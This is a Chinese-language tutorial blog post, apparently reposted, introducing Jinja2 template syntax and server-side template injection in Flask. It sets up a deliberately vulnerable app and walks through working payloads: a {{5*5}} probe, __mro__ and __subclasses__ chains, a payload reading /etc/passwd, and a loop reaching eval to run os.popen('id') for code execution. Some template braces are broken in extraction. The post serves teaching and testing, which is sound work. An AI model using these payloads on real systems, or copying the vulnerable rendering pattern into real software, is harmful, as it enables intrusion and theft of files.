先入个门
个人感觉学SSTI注入之前,最好先学习一下python的沙盒绕过,两个利用的地方比较类似。
Jimja2
Jinja2是默认的仿Django模板的一个模板引擎,由Flask的作者开发。网上搜的语法2333,方便自己回顾
模板
{
{ ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。 {% ... %}:装载一个控制语句。 {# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值
变量
在模板中添加变量,可以使用(set)语句。
{% set name='xx' %}
with语句来创建一个内部的作用域,将set语句放在其中,这样创建的变量只在with代码块中才有效
{% with gg = 42 %} {
{ gg }} {% endwith %}
if语句
{% if ken.sick %} Ken is sick. {% elif ken.dead %} You killed Ken! You bastard!!! {% else %} Kenny looks okay --- so far {% endif %}
for语句
{% for user in users %} {
{ user.username|e }} {% endfor %}
遍历
{% for key, value in my_dict.iteritems() %}
{
{ key|e }}
{
{ value|e }}
{% endfor %}
Jinja2中for循环内置常量
过滤器
过滤器是通过(|)符号进行使用的,例如:{
{ name|length }}:将返回name的长度
类似于我们平常的的函数,他他这种应该就是内置函数,因为它本身就含有很多过滤器
abs(value):返回一个数值的绝对值。示例:-1|abs last(value):返回一个序列的最后一个元素。示例:names|last。 length(value):返回一个序列或者字典的长度。示例:names|length。 join(value,d=u''):将一个序列用d这个参数的值拼接成字符串。 int(value):将值转换为int类型。 float(value):将值转换为float类型。 lower(value):将字符串转换为小写。 upper(value):将字符串转换为小写
模板注入
简单地说跟这种类型的注入跟一般的注入成因其实一样,都是过分相信用户的输入导致的漏洞,这样一来通过模板注入可以导致敏感信息泄露、代码执行等诸多漏洞,这里有一篇关于PHP的模板注入,写的挺好,可以参考一下:https://www.freebuf.com/vuls/83999.html,但这篇文章PHP 模版引擎 Twig 作为例子,只是简单介绍了一下XSS的相关漏洞,并没有触发更大的危害,但是常规的测试方法已经写了出来,跟测试注入其实差不多,就是换了内容而已。

所以下面就自己搭个python的web环境,以危害更大的SSTI模板注入作为例子说明,这是app.py里面的代码内容
from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render() if __name__ == "__main__":
可以看得出来name参数直接以get方式获取,直接拼接在Hello后面作为模板,直接render,这很明显name参数是可控的。问题也恰好是出在这。
当然这里也是有XSS的

但是重点还是放在读文件这一功能上,这也相当于直接RCE了,先要学习一下下面这几个类,__mro__以及__subclasses__属性,其实这里有点像python沙盒绕过的构造方法23333.
__mro__中的MRO(Method Resolution Order)代表着解析方法调用的顺序,可以看看Python文档中的介绍。它是每个对象元类的一个隐藏属性,当进行内省时会忽略dir输出(see Objects/object.c at line 1812)
__subclasses__属性在这里作为一种方法被定义为,对每个new-style class“为它的直接子类维持一个弱引用列表”,之后“返回一个包含所有存活引用的列表”。
上面的这两个属性引用自这篇文章:https://www.freebuf.com/articles/web/98928.html
个人直接理解就是__mro__会输出当前对象所调用的全部类包括其父类,而__subclasses__会输出该类下所有的子类。OK,这样就可以愉快的开始了
先来测试一下是否存在这个漏洞,输入参数{,明显存在漏洞
{5*5}}hello

首先我们要做的第一件事便是选择一个new-style object用于访问object基类。可以简单的使用'',一个空字符串,str对象类型。之后可以使用__mro__属性访问对象的继承类。将{作为payload注入到存在SSTI漏洞的页面中
{ ''.__class__.__mro__ }}

出现两个类,选择第二个object基类,并显示该类下方的所有子类,注入{
{ ''.__class__.__mro__[1].__subclasses__() }}

上面链接的文章里面使用file类去进行对文件的读写操作,payload:{,但是file方法在py3中已经不支持,只要找到可以执行代码的函数或者其他读文件的函数都可以,在vulhub上找到的另外一个适合py3的,利用了eval函数去实现RCE的功能,因为执行语句去实现的,所以得用%括住。方法不止一种,找到对的继承链就可以。
{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {
{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

成功读取根目录下的文件

另外再拿
这东西只要找对继承关系,而且继承关系里面的方法清楚的话就很快获得效果,当然防范的话得从代码层下手,永远不要相信用户的输入就对了,对可控变量做好防御XD
参考文章:
https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
https://www.freebuf.com/vuls/83999.html
https://www.freebuf.com/articles/web/98928.html
发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/178040.html原文链接:https://javaforall.net
